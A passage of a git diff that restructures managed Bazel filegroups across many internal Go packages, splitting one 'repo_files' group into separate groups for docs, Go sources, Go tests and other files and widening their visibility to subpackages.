["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -231,7 +270,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/httpapi/BUILD.bazel b/internal/httpapi/BUILD.bazel index ff7bb7787..fb7b25625 100644 --- a/internal/httpapi/BUILD.bazel +++ b/internal/httpapi/BUILD.bazel @@ -134,12 +134,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -148,7 +187,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/httpapi/apigen/BUILD.bazel b/internal/httpapi/apigen/BUILD.bazel index 9aa4a0b29..fe6159f34 100644 --- a/internal/httpapi/apigen/BUILD.bazel +++ b/internal/httpapi/apigen/BUILD.bazel @@ -25,12 +25,51 @@ exports_files( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -39,7 +78,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/httpapi/spec/BUILD.bazel b/internal/httpapi/spec/BUILD.bazel index 81d0f6532..51f81d945 100644 --- a/internal/httpapi/spec/BUILD.bazel +++ b/internal/httpapi/spec/BUILD.bazel @@ -26,12 +26,51 @@ exports_files( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -40,7 +79,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/httpapi/wireshape/BUILD.bazel b/internal/httpapi/wireshape/BUILD.bazel index c107b8a0c..6992e365b 100644 --- a/internal/httpapi/wireshape/BUILD.bazel +++ b/internal/httpapi/wireshape/BUILD.bazel @@ -38,12 +38,51 @@ exports_files( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -52,7 +91,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/httpapi/wireshape/cmd/gendigest/BUILD.bazel b/internal/httpapi/wireshape/cmd/gendigest/BUILD.bazel index 3b3dc5d04..ac908f90e 100644 --- a/internal/httpapi/wireshape/cmd/gendigest/BUILD.bazel +++ b/internal/httpapi/wireshape/cmd/gendigest/BUILD.bazel @@ -27,12 +27,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -41,7 +80,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index f6cb1cbee..beffe7048 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -253,12 +253,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -267,7 +306,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/httpclient/encode/BUILD.bazel b/internal/httpclient/encode/BUILD.bazel index 1b0e8cee7..f09bdd196 100644 --- a/internal/httpclient/encode/BUILD.bazel +++ b/internal/httpclient/encode/BUILD.bazel @@ -51,12 +51,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -65,7 +104,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/httpclient/wire/BUILD.bazel b/internal/httpclient/wire/BUILD.bazel index e154bc59f..012a18995 100644 --- a/internal/httpclient/wire/BUILD.bazel +++ b/internal/httpclient/wire/BUILD.bazel @@ -63,12 +63,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -77,7 +116,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/idgen/BUILD.bazel b/internal/idgen/BUILD.bazel index d85848c47..1f6527be1 100644 --- a/internal/idgen/BUILD.bazel +++ b/internal/idgen/BUILD.bazel @@ -16,12 +16,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -30,7 +69,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/jira/BUILD.bazel b/internal/jira/BUILD.bazel index f42e6ec5e..ee2f37feb 100644 --- a/internal/jira/BUILD.bazel +++ b/internal/jira/BUILD.bazel @@ -41,12 +41,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -55,7 +94,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/linear/BUILD.bazel b/internal/linear/BUILD.bazel index e660b46a2..f384b1cba 100644 --- a/internal/linear/BUILD.bazel +++ b/internal/linear/BUILD.bazel @@ -67,12 +67,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -81,7 +120,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/lockfile/BUILD.bazel b/internal/lockfile/BUILD.bazel index 347cd13d9..213cb7fb1 100644 --- a/internal/lockfile/BUILD.bazel +++ b/internal/lockfile/BUILD.bazel @@ -63,12 +63,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -77,7 +116,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/memoryapi/BUILD.bazel b/internal/memoryapi/BUILD.bazel index d676833ae..3636ccb1b 100644 --- a/internal/memoryapi/BUILD.bazel +++ b/internal/memoryapi/BUILD.bazel @@ -18,12 +18,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -32,7 +71,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/metrics/BUILD.bazel b/internal/metrics/BUILD.bazel index eb9b7d7fa..275e4ce8f 100644 --- a/internal/metrics/BUILD.bazel +++ b/internal/metrics/BUILD.bazel @@ -42,12 +42,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -56,7 +95,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/migration/BUILD.bazel b/internal/migration/BUILD.bazel index d3bae9093..be6405b19 100644 --- a/internal/migration/BUILD.bazel +++ b/internal/migration/BUILD.bazel @@ -16,12 +16,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -30,7 +69,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/migration/legacysqlite/BUILD.bazel b/internal/migration/legacysqlite/BUILD.bazel index 847117321..e7c57ad30 100644 --- a/internal/migration/legacysqlite/BUILD.bazel +++ b/internal/migration/legacysqlite/BUILD.bazel @@ -29,12 +29,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -43,7 +82,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/molecules/BUILD.bazel b/internal/molecules/BUILD.bazel index 57fe6e3eb..5c63272a3 100644 --- a/internal/molecules/BUILD.bazel +++ b/internal/molecules/BUILD.bazel @@ -30,12 +30,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -44,7 +83,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/notion/BUILD.bazel b/internal/notion/BUILD.bazel index 871fe68e8..d677dd138 100644 --- a/internal/notion/BUILD.bazel +++ b/internal/notion/BUILD.bazel @@ -40,12 +40,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -54,7 +93,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/procid/BUILD.bazel b/internal/procid/BUILD.bazel index 14cc92d61..908f7dc0f 100644 --- a/internal/procid/BUILD.bazel +++ b/internal/procid/BUILD.bazel @@ -53,12 +53,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -67,7 +106,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/query/BUILD.bazel b/internal/query/BUILD.bazel index d8db3bcff..81bcc479d 100644 --- a/internal/query/BUILD.bazel +++ b/internal/query/BUILD.bazel @@ -30,12 +30,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -44,7 +83,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/recipes/BUILD.bazel b/internal/recipes/BUILD.bazel index b94f373c0..b7bc2c92b 100644 --- a/internal/recipes/BUILD.bazel +++ b/internal/recipes/BUILD.bazel @@ -24,12 +24,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -38,7 +77,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/remotecache/BUILD.bazel b/internal/remotecache/BUILD.bazel index 69d123c65..5f72b01ea 100644 --- a/internal/remotecache/BUILD.bazel +++ b/internal/remotecache/BUILD.bazel @@ -32,12 +32,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -46,7 +85,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/routing/BUILD.bazel b/internal/routing/BUILD.bazel index 87bee6e4d..4d0da09a2 100644 --- a/internal/routing/BUILD.bazel +++ b/internal/routing/BUILD.bazel @@ -24,12 +24,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -38,7 +77,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/BUILD.bazel 